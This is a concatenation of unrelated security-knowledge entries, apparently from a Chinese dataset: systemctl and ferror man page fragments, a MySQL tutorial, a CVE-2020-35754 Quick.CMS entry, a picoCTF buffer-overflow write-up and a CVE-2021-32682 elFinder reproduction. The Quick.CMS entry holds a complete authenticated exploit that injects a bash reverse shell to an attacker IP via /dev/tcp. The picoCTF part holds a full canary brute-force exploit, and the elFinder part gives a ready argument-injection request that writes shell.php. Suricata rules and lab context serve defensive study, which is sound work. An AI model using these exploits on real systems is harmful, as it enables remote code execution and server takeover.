.nf
# systemctl start sshd\&.service
.fi
.if n \{\
.RE
.\}
.sp
, 而
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl isolate default
.fi
.if n \{\
.RE
.\}
.sp
等价于
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl isolate default\&.target
.fi
.if n \{\
.RE
.\}
.sp
,因为 isolate 命令只能用于 \&.target 单元。 注意,设备文件路径(绝对路径)会自动转化为 device 单元名称,其他路径(绝对路径)会自动转化为 mount 单元名称。 例如,如下命令
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl status /dev/sda
# systemctl status /home
.fi
.if n \{\
.RE
.\}
.sp
分别等价于
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl status dev\-sda\&.device
# systemctl status home\&.mount
.fi
.if n \{\
.RE
.\}
.sp
对于第二种情况,可以在模式中使用shell风格的匹配符,对所有已加载单元的主名称(primary name)进行匹配。 如果没有使用匹配符并且省略了单元后缀,那么处理方式与第一种情况完全相同。 这就意味着:如果没有使用匹配符,那么该模式就等价于一个单独的单元名称(\fINAME\fR),只表示一个明确的单元。 如果使用了匹配符,那么该模式就可以匹配任意数量的单元(包括零个)。
.PP
模式使用
\fBfnmatch\fR(3)
语法, 也就是可以使用shell风格的
"*",
"?",
"[]"
匹配符(详见
\fBglob\fR(7))。 模式将基于所有已加载单元的主名称(primary name)进行匹配, 如果某个模式未能匹配到任何单元,那么将会被悄无声息的忽略掉。 例如
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl stop sshd@*\&.service
.fi
.if n \{\
.RE
.\}
.sp
命令将会停止所有
sshd@\&.service
的实例单元。 注意,单元的别名(软连接)以及未被加载的单元,不在匹配范围内(也就是不作为匹配目标)。
.PP
对于单元文件命令,\fINAME\fR
参数必须是单元名称(完整的全称或省略了后缀的简称)或单元文件的绝对路径。 例如:
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl enable foo\&.service
.fi
.if n \{\
.RE
.\}
.sp
或
.sp
.if n \{\
.RS 4
.\}
.nf
# systemctl link /path/to/foo\&.service
.fi
.if n \{\
.RE
.\}
.sp
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "环境变量"
.PP
\fI$SYSTEMD_EDITOR\fR
.RS 4
编辑单元文件时所使用的编辑器,会覆盖
\fI$EDITOR\fR
与
\fI$VISUAL\fR
的值。 如果
\fI$SYSTEMD_EDITOR\fR,
\fI$EDITOR\fR,
\fI$VISUAL\fR
都不存在或无法使用, 那么将会依次尝试使用
\fBeditor\fR(1),
\fBnano\fR(1),
\fBvim\fR(1),
\fBvi\fR(1)
编辑器。
.RE
.PP
\fI$SYSTEMD_PAGER\fR
.RS 4
指定分页程序。仅在未指定
\fB\-\-no\-pager\fR
选项时有意义。 此变量会覆盖
\fI$PAGER\fR
的值。 将此变量设为空字符串或
"cat"
等价于使用
\fB\-\-no\-pager\fR
选项。
.RE
.PP
\fI$SYSTEMD_LESS\fR
.RS 4
用于覆盖 默认传递给
\fBless\fR
程序的命令行选项 ("FRSXMK")。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBjournalctl\fR(1),
\fBloginctl\fR(1),
\fBmachinectl\fR(1),
\fBsystemd.unit\fR(5),
\fBsystemd.resource-control\fR(5),
\fBsystemd.special\fR(7),
\fBwall\fR(1),
\fBsystemd.preset\fR(5),
\fBsystemd.generator\fR(7),
\fBglob\fR(7)
.SH "NOTES"
.IP " 1." 4
Preset
.RS 4
\%http://freedesktop.org/wiki/Software/systemd/Preset
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# MySQL快速入门
---
在本教程中,我将构建一个使用如下实体关系图(ERD)中显示的简单架构的数据库。数据库列出了学生和正在学习的课程。为了保持简单,我使用了两个实体(即表),只有一种关系和依赖。这两个实体称为 `dbo_students` 和 `dbo_courses`。
数据库的多样性是一对多的,因为每门课程可以包含很多学生,但每个学生只能学习一门课程。
关于术语的快速说明:
- 一张表称为一个实体。
- 一个字段称为一个属性。
- 一条记录称为一个元组。
- 用于构建数据库的脚本称为架构。
## 构建架构
要构建数据库,使用 `CREATE TABLE <表名>` 命令,然后定义每个字段的名称和数据类型。数据库使用 `VARCHAR(n)` (字符串)和 `INT(n)` (整数),其中 n 表示可以存储的值的长度。例如 `INT(2)` 可以是 01。
这是用于创建两个表的代码:
```sql
CREATE TABLE dbo_students
(
student_id INT(2) AUTO_INCREMENT NOT NULL,
student_name VARCHAR(50),
course_studied INT(2),
PRIMARY KEY (student_id)
);
CREATE TABLE dbo_courses
(
course_id INT(2) AUTO_INCREMENT NOT NULL,
course_name VARCHAR(30),
PRIMARY KEY (course_id)
);
```
`NOT NULL` 意味着字段不能为空,`AUTO_INCREMENT` 意味着当一个新的元组被添加时,ID 号将自动生成,是对先前存储的 ID 号加 1,以强化各实体之间的完整参照性。 `PRIMARY KEY` 是每个表的惟一标识符属性。这意味着每个元组都有自己的不同的标识。
## 关系作为一种约束
就目前来看,这两张表格是独立存在的,没有任何联系或关系。要连接它们,必须标识一个外键。
在 `dbo_students` 中,外键是 `course_studied`,其来源在 `dbo_courses` 中,意味着该字段被引用。
SQL 中的特定命令为 `CONSTRAINT`,并且将使用另一个名为 `ALTER TABLE` 的命令添加这种关系,这样即使在架构构建完毕后,也可以编辑表。
以下代码将关系添加到数据库构造脚本中:
```sql
ALTER TABLE dbo_students
ADD CONSTRAINT FK_course_studied
FOREIGN KEY (course_studied) REFERENCES dbo_courses(course_id);
```
使用 `CONSTRAINT` 命令实际上并不是必要的,但这是一个好习惯,因为它意味着约束可以被命名并且使维护更容易。现在数据库已经完成了,是时候添加一些数据了。
## 将数据添加到数据库
`INSERT INTO <表名>` 是用于直接选择要添加哪些属性(即字段)数据的命令。
首先声明实体名称,然后声明属性,下边是添加到实体的数据,从而创建一个元组。
如果指定了 `NOT NULL`,这表示该属性不能留空。以下代码将展示如何向表中添加记录:
```sql
INSERT INTO dbo_courses(course_id,course_name)
VALUES(001,'Software Engineering');
INSERT INTO dbo_courses(course_id,course_name)
VALUES(002,'Computer Science');
INSERT INTO dbo_courses(course_id,course_name)
VALUES(003,'Computing');
INSERT INTO dbo_students(student_id,student_name,course_studied)
VALUES(001,'student1',001);
INSERT INTO dbo_students(student_id,student_name,course_studied)
VALUES(002,'student2',002);
INSERT INTO dbo_students(student_id,student_name,course_studied)
VALUES(003,'student3',002);
INSERT INTO dbo_students(student_id,student_name,course_studied)
VALUES(004,'student4',003);
```
现在数据库架构已经完成并添加了数据,现在是时候在数据库上运行查询了。
## 查询
查询遵循使用以下命令的集合结构:
```sql
SELECT <attributes>
FROM <entity>
WHERE <condition>
```
要显示 `dbo_courses` 实体内的所有记录并显示课程代码和课程名称,请使用 `*` 。 这是一个通配符,它消除了键入所有属性名称的需要。(在生产数据库中不建议使用它。)此处查询的代码是:
```sql
SELECT * FROM dbo_courses
```
此处查询的输出显示表中的所有元组,因此可显示所有可用课程:
```sql
| course_id | course_name |
|-----------|----------------------|
| 1 | Software Engineering |
| 2 | Computer Science |
| 3 | Computing |
```
查询学生表以及相应课程
```
SELECT a.*,b.course_name FROM dbo_students a , dbo_courses b WHERE a.course_studied = b.course_id ;
```
---
## Source & Reference
- [SQL 入门](https://linux.cn/article-9537-1.html)
|
sec-knowleage
|
# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Opensolution Quick.Cart和Opensolution Quick.Cms都是波兰Opensolution公司的产品。Opensolution Quick.Cart是一款用于构建购物车平台的建站系统。Opensolution Quick.Cms是一款用于构建文本管理平台的建站系统。 OpenSolution Quick.CMS < 6.7 and Quick.Cart < 6.7 存在注入漏洞,该漏洞允许经过身份验证的用户通过Language选项卡的输入字段执行代码注入。
## 检测日志
HTTP
## 测试复现
POC&&EXP
```yml
# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)
# Date: 2020-12-28
# Exploit Author: mari0x00
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip
# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/
# Version: <= 6.7
# CVE : CVE-2020-35754
#!/usr/bin/python3
import requests
import sys
from termcolor import colored
from time import sleep
print(colored('''###########################################################''',"red"))
print(colored('''###### Quick.CMS authenticated RCE by mari0x00 #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")
if len(sys.argv) != 6:
print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))
print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]
#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}
#Authenticate
print((colored("[+] Attempting user login","blue")))
login_data = {
"sEmail": username,
"sPass": password,
"bAcceptLicense": "1",
"iAcceptLicense": "true"
}
login = s.post(url+"admin.php?p=login", login_data, headers=headers)
sleep(0.5)
#Exploit
print((colored("[+] Adding shell command","blue")))
payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"
shell = {
"sOption": "save",
"Back_end_only": payload
}
exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)
sleep(1)
#Triggering reverse shell (three times just in case)
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
sleep(1)
r = s.get(url+"admin.php?p=languages", headers=headers)
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-1";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"bAcceptLicense=1&iAcceptLicense=true";http_client_body;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms-2";flow:established,to_server;content:"POST";http_method;content:"/quickcmsadmin.php?p=";http_uri;content:"Back_end_only=";http_client_body;flowbits:isset,first_req;noalert;flowbits:set,second-req;classtype:web-application-attck;sid:2;rev:1;)
alert http any any -> any any (msg:"CVE-2020-35754-QuickCms访问控制错误漏洞";flow:established,to_server;content:"GET";http_method;content:"/quickcmsadmin.php?p=languages";http_uri;flowbits:isset,second-req;reference:url,www.anquanke.com/vul/id/2332309;classtype:web-application-attck;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Opensolution Quick.Cart和Opensolution Quick.Cms访问控制错误漏洞
<https://www.anquanke.com/vul/id/2332309>
|
sec-knowleage
|
# buffer overflow 3
Binary Exploitation, 450 points
## Description:
> It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
```
## Solution:
The program incorporates a custom canary, and if the canary has been overridden - outputs an error and exits.
A legal session is as follows:
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_3# ./vuln
How Many Bytes will You Write Into the Buffer?
> 3
Input> AAA
Ok... Now Where's the Flag?
```
If we blindly overrun the canary, we'll hit the error:
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_3# { echo "100"; python -c 'print "A"*100';} | ./vuln
How Many Bytes will You Write Into the Buffer?
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
```
However, since we get to choose the length of the buffer we write, we can overwrite just the first byte of the canary.
If we get it wrong, we'll see:
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_3# { echo "33"; python -c 'print "A"*32 + "x"';} | ./vuln
How Many Bytes will You Write Into the Buffer?
> Input> *** Stack Smashing Detected *** : Canary Value Corrupt!
```
But if we get it right, we'll see:
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_3# { echo "33"; python -c 'print "A"*32 + "f"';} | ./vuln
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
```
Using this, we can brute force the canary, and then override the return address to jump to `win`.
The script:
```python
from pwn import *
import argparse
import os
import simple_cache
EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/buffer-overflow-3_3_6bcc2aa22b2b7a4a7e3ca6b2e1194faf/"
SSH_SERVER = "2018shell3.picoctf.com"
CANARY_LEN = 4
PADDING_LEN = 32
def get_process_path(is_ssh = False):
if is_ssh or os.path.exists(REMOTE_PATH):
return REMOTE_PATH + EXECUTABLE
else:
return LOCAL_PATH + EXECUTABLE
def get_process(ssh_session = None):
is_ssh = ssh_session is not None
path = get_process_path(is_ssh)
params = {"argv": path, "cwd": os.path.dirname(path)}
if is_ssh:
p = ssh_session.process(**params)
else:
p = process(**params)
return p
def send_payload(proc, payload):
proc.sendlineafter("How Many Bytes will You Write Into the Buffer?\n>", str(len(payload)))
proc.sendlineafter("Input> ", payload)
out = proc.recvall()
return out
def guess_canary(ssh_session, guess):
while True:
try:
context.log_level = 'error'
out = send_payload(get_process(ssh_session), fit({PADDING_LEN: guess}))
context.log_level = 'info'
if "Stack Smashing Detected" in out:
return False
return True
except (socket.error, socket.gaierror, socket.herror, socket.timeout) as e:
print str(e)
#@simple_cache.cached('canary.db')
def get_canary(ssh_session):
canary = ""
while len(canary) != CANARY_LEN:
for x in range(ord(" "), ord("~")+1):
guess = canary + chr(x)
log.debug("Guessing canary: " + guess)
if guess_canary(ssh_session, guess):
canary += chr(x)
log.info("Canary so far: " + canary)
break
else:
raise Exception("Can't find canary")
return canary
@simple_cache.cached('offset.db')
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
payload = fit({PADDING_LEN: canary}) + cyclic(24)
proc = get_process()
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
return offset
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()
if args.ssh_user:
ssh_session = ssh(host=SSH_SERVER, user=args.ssh_user)
else:
ssh_session = None
e = ELF(get_process_path())
canary = get_canary(ssh_session)
offset = get_overflow_offset()
log.info("Overflow offset: {}".format(offset))
log.info("Canary: {}".format(canary))
log.info("Address of win(): {}".format(hex(e.symbols['win'])))
payload = fit({PADDING_LEN: canary}) + fit({offset: p32(e.symbols['win'])})
log.info("Payload: {}".format(enhex(payload)))
out = send_payload(get_process(ssh_session), payload)
print out
```
Note that the script uses the cache decorator from [here](https://datascience.blog.wzb.eu/2016/08/12/a-tip-for-the-impatient-simple-caching-with-python-pickle-and-decorators/) in order to cache the overflow offset.
```python
#https://datascience.blog.wzb.eu/2016/08/12/a-tip-for-the-impatient-simple-caching-with-python-pickle-and-decorators/
import os
import pickle
def cached(cachefile):
"""
A function that creates a decorator which will use "cachefile" for caching the results of the decorated function "fn".
"""
def decorator(fn): # define a decorator for a function "fn"
def wrapped(*args, **kwargs): # define a wrapper that will finally call "fn" with all arguments
# if cache exists -> load it and return its content
if os.path.exists(cachefile):
with open(cachefile, 'rb') as cachehandle:
print("using cached result from '%s'" % cachefile)
return pickle.load(cachehandle)
# execute the function with all arguments passed
res = fn(*args, **kwargs)
# write to cache file
with open(cachefile, 'wb') as cachehandle:
print("saving result to cache '%s'" % cachefile)
pickle.dump(res, cachehandle)
return res
return wrapped
return decorator # return this "customized" decorator that uses "cachefile"
```
This is needed since when running on the server, we don't have easy access to the core dump, and when running locally, we don't know the server canary. So we run once locally with a dummy canary, get the overflow offset, and save it for the server session.
The output:
```console
root@kali:/media/sf_CTFs/pico/buffer_overflow_3# python exploit.py --ssh_user=$pico_ssh_user
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] user@2018shell3.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[*] '/media/sf_CTFs/pico/buffer_overflow_3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Canary so far: I
[*] Canary so far: IH
[*] Canary so far: IHw
[*] Canary so far: IHwj
using cached result from 'offset.db'
[*] Overflow offset: 16
[*] Canary: IHwj
[*] Address of win(): 0x80486eb
[*] Payload: 61616161626161616361616164616161656161616661616167616161686161614948776a61616161626161616361616164616161eb860408
[+] Starting remote process '/problems/buffer-overflow-3_3_6bcc2aa22b2b7a4a7e3ca6b2e1194faf/vuln' on 2018shell3.picoctf.com: pid 2618362
[+] Receiving all data: Done (64B)
[*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 2618362)
Ok... Now Where's the Flag?
picoCTF{eT_tU_bRuT3_F0Rc3_58bc7747}
[*] Stopped process './vuln' (pid 5782)
```
The flag: picoCTF{eT_tU_bRuT3_F0Rc3_58bc7747}
|
sec-knowleage
|
# elFinder ZIP Arguments Injection Leads to Commands Injection (CVE-2021-32682)
[中文版本(Chinese version)](README.zh-cn.md)
elFinder is an open-source file manager for web, written in JavaScript using jQuery UI.
There is a arguments injection vulnerability found in the elFinder 2.1.48 and before. This vulnerability can allow an attacker to execute arbitrary commands on the server hosting the elFinder PHP connector, even with minimal configuration. The issues were patched in version 2.1.59. As a workaround, ensure the connector is not exposed without authentication.
References:
- <https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities>
- <https://packetstormsecurity.com/files/164173/elfinder_archive_cmd_injection.rb.txt>
- <https://xz.aliyun.com/t/10739>
## Vulnerability Environment
Execute following command to start a elFinder 2.1.48:
```
docker compose up -d
```
After the server is started, you can see the main page of elFinder at `http://your-ip:8080`.
## Vulnerability Reproduce
Firstly, you should prepare 2 files for this vulnerability flow.
Create a plain text file named `1.txt`:

Archive this file in the right-click menu to ZIP format, and modify this archived file name to `2.zip`:

`1.txt` and `2.zip` are ready here:

Then, send the following request to execute arbitrary commands:
```
GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
```
In this request, you can see 3 important parameters:
- `name`, its value is equal to `-TvTT=id>shell.php # a.zip`, you can modify the `id>shell.php` to arbitrary commands
- `targets[0]`, its value is equal to `l1_MS50eHQ`. `l1` means the first storage volume, `MS50eHQ` is the base64 encoded string of `1.txt`
- `targets[1]`, its value is equal to `l1_Mi56aXA`. `l1` means the first storage volume, `Mi56aXA` is the base64 encoded string of `2.zip`
Although this request responeds to an error message, our command has been executed and `shell.php` has been written to `http://your-ip:8080/files/shell.php`:

|
sec-knowleage
|
.\" Copyright (c) 1990, 1991 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" This code is derived from software contributed to Berkeley by
.\" Chris Torek and the American National Standards Committee X3,
.\" on Information Processing Systems.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" @(#)ferror.3 6.8 (Berkeley) 6/29/91
.\"
.\"
.\" Converted for Linux, Mon Nov 29 14:24:40 1993, faith@cs.unc.edu
.\" Added remark on EBADF for fileno, aeb, 2001-03-22
.\"
.TH FERROR 3 2001-10-16 "" "Linux Programmer's Manual"
.SH NAME
clearerr, feof, ferror, fileno \- 检测和重置流状态
.SH "SYNOPSIS 总览"
.B #include <stdio.h>
.sp
.BI "void clearerr(FILE *" stream );
.br
.BI "int feof(FILE *" stream );
.br
.BI "int ferror(FILE *" stream );
.br
.BI "int fileno(FILE *" stream );
.SH "DESCRIPTION 描述"
函数
.B clearerr
清除
.IR stream
指向的流中的文件结束标记和错误标记。
.PP
函数
.B feof
测试
tests the end-of-file indicator for the stream pointed to by
.IR stream
指向的流中的文件结束标记,如果已设置就返回非零值。文件结束标记只能用函数
.BR clearerr
清除。
.PP
函数
.B ferror
测试
.IR stream
指向的流中的错误标记,如果已设置就返回非零值。错误标记只能用函数
.B clearerr
重置。
.PP
函数
.B fileno
检测
.I stream
参数,返回它的整数形式的文件描述符。
.PP
关于对应的非锁定函数,请参见
.BR unlocked_stdio (3)
。
.SH "ERRORS 错误"
这些函数不应当失败,它们不设置外部变量
.IR errno
。(但是,如果
.B fileno
检测到它的参数不是有效的流,它必须返回 \-1,并且将
.I errno
设置为
.BR EBADF
。)
.SH "CONFORMING TO 标准参考"
函数
.BR clearerr ,
.BR feof ,
以及
.BR ferror
遵循 X3.159-1989 (``ANSI C'') 标准。
.SH "SEE ALSO 参见"
.BR open (2),
.BR unlocked_stdio (3),
.BR stdio (3)
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.